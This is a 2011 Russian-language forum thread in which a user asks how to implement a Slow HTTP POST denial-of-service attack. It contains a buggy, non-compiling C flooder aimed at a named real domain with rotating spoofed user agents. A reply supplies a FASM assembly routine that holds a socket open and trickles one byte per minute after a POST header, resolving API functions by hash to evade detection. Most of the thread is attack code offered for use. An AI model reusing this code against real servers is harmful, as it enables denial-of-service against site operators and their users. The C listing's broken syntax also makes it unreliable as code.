Подскажите идею, как реализовать slow post

Тема в разделе "WASM.BEGINNERS", создана пользователем M0rg0t, 11 июл 2011.

  1. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.576
    Есть такой тип атаки - Slow HTTP POST. Там смысл:"...Как только заголовок отправлен, тело POST сообщения начинает передаваться с очень медленной скоростью, что позволяет использовать ресурсы сервера намного дольше, чем это необходимо, и, как следствие, помешать обработке других запросов..."
    Подробнее: http://habrahabr.ru/blogs/infosecurity/116056/

    Такое можно реализовать через вининет? Или только сокеты? А как делать задержку?
    Если у кого-нибудь есть какие-нибудь мысли на этот счет, интересно узнать.
     
  2. Kaimi

    Kaimi Андрей

    Публикаций:
    0
    Регистрация:
    15 апр 2010
    Сообщения:
    120
  3. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.576
    Kaimi спасибо, посмотрю.

    И еще - нашел такой вот вариант. Если кто знает Си, подскажите - это и есть тот самый алгоритм?

    Код (Text):
    1. #include <wininet.h>
    2.  
    3. using namespace std;
    4. #pragma comment(lib,"wininet")
    5.  
    6. char tDomain[64] ="packetstorm.com";
    7. int randmemb = rand();
    8. int randforum = rand();
    9.  
    10. char* UAListA[] = { "Mozilla/3.0 ",
    11.         "Mozilla/3.1 ",
    12.         "Mozilla/3.6 ",
    13.         "Mozilla/4.0 ",
    14.         "Mozilla/4.08 ",
    15.         "Mozilla/5.0 ",
    16.         "Opera/9.33 ",
    17.         "Opera/9.0 ",
    18.         "Opera/8.90 ",
    19.         "Opera/9.80 "        
    20. }
    21.  
    22. char* UAListB[] = {    "(compatible; MSIE 6.0; Windows NT)",
    23.         "(Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5",
    24.         "(Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1 ",
    25.         "(MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)",
    26.         "[en] (WinNT; U)",
    27.         "(compatible; MSIE 7.0; Windows NT 5.1; bgft) ",
    28.         "(compatible; MSIE 6.0; Win32)",
    29.         "(X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01",
    30.         "(X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801",
    31.         "(SunOS 5.8 sun4u; U) Opera 5.0 [en]",
    32.         "(compatible; Googlebot/2.1; http://www.google.com/bot.html)  ",
    33.         "(X11; U; Linux i686; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 BAVM/1.0.0",
    34.         "(X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8 ",
    35.         "(Windows; U; Windows NT 6.1; it; rv:1.9.2) Gecko/20100115 Firefox/3.6",
    36.         "Galeon/1.2.0 (X11; Linux i686; U;) Gecko/20020326",
    37.         "(Windows NT 5.1; U; en) Presto/2.5.22 Version/10.50",
    38.         "(Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10",
    39.         "(X11; Linux x86_64; U; Linux Mint; en) Presto/2.2.15 Version/10.10",
    40.         "(Macintosh; PPC Mac OS X; U; en) Opera 8.0",
    41.         "(Windows; U; Windows NT 5.1; en-US; rv:0.9.6) Gecko/20011128",
    42.         "(Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
    43.         "(iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3",
    44.         "(compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)",
    45.         "(Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
    46.         "(compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    47.         "(compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
    48.         "(compatible; MSIE 6.1; Windows XP)",
    49.         "(Windows; U; Windows NT 6.1; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"
    50.                 };
    51.  
    52. char* URLList[] = {    
    53.     "/forums/index.php?showforum=" + randforum,
    54.     "/forums/index.php?showuser=" + randmemb
    55.                 };
    56.  
    57. bool Restart( )
    58. {
    59.     Sleep(2000);
    60.     PostDos( );
    61.     GetDos( );
    62.     httpSyn( );
    63. }
    64.  
    65. bool httpSyn( )
    66. {
    67.     srand(GetTickCount());
    68.     HINTERNET hInternet[3];
    69.     char szBuffer[10240];
    70.  
    71.     DWORD dwNumberOfBytesRead = NULL;
    72.     char headers[] = "HTTP/1.1"; //prob still not right, worth a shot :)
    73.  
    74.     hInternet[1] = InternetOpenA( UAListA[rand()%10] , UAListB[rand()%28] , INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    75.     hInternet[2] = InternetConnectA(hInternet[1], tDomain , INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    76.     hInternet[3] = HttpOpenRequestA(hInternet[2], "GET", URLList[rand()%9] , NULL, NULL, NULL, NULL, 1);
    77.  
    78.     HttpSendRequestA(hInternet[3], headers, strlen(headers), 0, 0);
    79.     InternetReadFile(hInternet[3], szBuffer, 10240, &dwNumberOfBytesRead);
    80.  
    81.     for(int z=0;z<3;z++){
    82.         Sleep(5000)
    83.         if( hInternet[z] != NULL ) InternetCloseHandle(hInternet[z]);
    84.     }
    85.  
    86.     return true;
    87.  
    88. }
    89.  
    90. bool PostDos( )
    91. {
    92. srand(GetTickCount());
    93. HINTERNET hInternet[3];
    94. char szBuffer[10240];
    95.  
    96. DWORD dwNumberOfBytesRead = NULL;
    97. char headers[] = "HTTP/1.1"; //ditto
    98.  
    99. hInternet[1] = InternetOpenA( UAListA[rand()%10] , UAListB[rand()%28] , INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    100. hInternet[2] = InternetConnectA(hInternet[1], tDomain , INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    101. hInternet[3] = HttpOpenRequestA(hInternet[2], "POST", URLList[rand()%9] , NULL, NULL, NULL, NULL, 1);
    102.  
    103. HttpSendRequestA(hInternet[3], headers, strlen(headers), 0, 0);
    104. InternetReadFile(hInternet[3], szBuffer, 10240, &dwNumberOfBytesRead);
    105.  
    106. for(int z=0;z<3;z++){
    107.     if( hInternet[z] != NULL ) InternetCloseHandle(hInternet[z]);
    108. }
    109.  
    110.     return true;
    111. }
    112.  
    113. bool GetDos(  )
    114. {
    115.     srand(GetTickCount());
    116.     HINTERNET hInternet[3];
    117.     char szBuffer[10240];
    118.  
    119.     DWORD dwNumberOfBytesRead = NULL;
    120.     char headers[] = "HTTP/1.1"; //ditto
    121.  
    122.     hInternet[1] = InternetOpenA( UAListA[rand()%10] , UAListB[rand()%28] , INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    123.     hInternet[2] = InternetConnectA(hInternet[1], tDomain , INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    124.     hInternet[3] = HttpOpenRequestA(hInternet[2], "GET", URLList[rand()%9] , NULL, NULL, NULL, NULL, 1);
    125.  
    126.     HttpSendRequestA(hInternet[3], headers, strlen(headers), 0, 0);
    127.     InternetReadFile(hInternet[3], szBuffer, 10240, &dwNumberOfBytesRead);
    128.  
    129.     for(int z=0;z<3;z++){
    130.         if( hInternet[z] != NULL ) InternetCloseHandle(hInternet[z]);
    131.     }
    132.  
    133.     return true;
    134. }
    135.  
    136. DWORD WINAPI dThread(LPVOID)
    137. {
    138.     try {
    139.         GetDos( );
    140.         PostDos();
    141.         httpSyn();
    142.         Sleep(300);
    143.     }
    144.     catch
    145.     {
    146.         Restart( );
    147.         Sleep(1000);
    148. }
    149.  
    150. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    151. {
    152.     HANDLE hThreads[100];
    153.  
    154.     for(int i=0;i<10;i++)
    155.         hThreads[i] = CreateThread(0,0,dThread,0,0,0);
    156.  
    157.     WaitForSingleObject(hThreads[1],INFINITE);
    158.     return 0;
    159. }
     
  4. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.576
    Я что-то уже запутался. Оказывается, slow post и Slowloris - это не одно и тоже? Код на С, опубликованный выше, это (судя по названию) Slowloris.
    отрывок откуда-то:
     
  5. eshkinkot

    eshkinkot New Member

    Публикаций:
    0
    Регистрация:
    6 май 2010
    Сообщения:
    73
    Slowloris - атака методом GET, а slow post через метод POST.
    С помощью wininet у тебя скорее всего ничего не получится. пиши на сокетах.
    Вот тебе кусок из программы на фасме. будут вопросы обращайся.


    proc ddos_func,arg_addr

    local sock dd ?

    FUNDD2:
    ;call WSAStartup
    myhash WSAStartup
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,202h,wsadata
    cmp eax,0
    jne FUNDD2
    ;socket
    myhash socket
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,AF_INET,SOCK_STREAM,0
    cmp eax,-1
    je FUNDD2
    mov [sock],eax
    ;gethostbyname
    myhash gethostbyname
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,[arg_addr]
    cmp eax,0
    je FUNDD1
    ;SOCKADDR
    mov [sa_in.sin_family],AF_INET
    mov [sa_in.sin_port],0x5000
    add eax,0xc
    mov eax,[eax]
    mov eax,[eax]
    mov eax,[eax]
    mov [sa_in.sin_addr],eax
    ;connect
    myhash connect
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,[sock],sa_in,16
    cmp eax,-1
    je FUNDD2
    ;send
    myhash send
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,[sock],[post_alloc],[lenpost],0

    FUNDD22:
    cmp [ddos_no],1
    je FUNDD1

    ;send
    myhash send
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,[sock],ddos_alloc,1,0
    cmp eax,-1
    je FUNDD1

    ;call Sleep
    myhash Sleep
    stdcall func_search,kernel,myhash_str
    stdcall eax,60000
    jmp FUNDD22

    FUNDD1:
    ;closesocket
    myhash closesocket
    stdcall func_search,ws2_32,myhash_str
    stdcall eax,[sock]
    cmp [ddos_no],0
    je FUNDD2
    mov [ddos_yes],0
    ret
    endp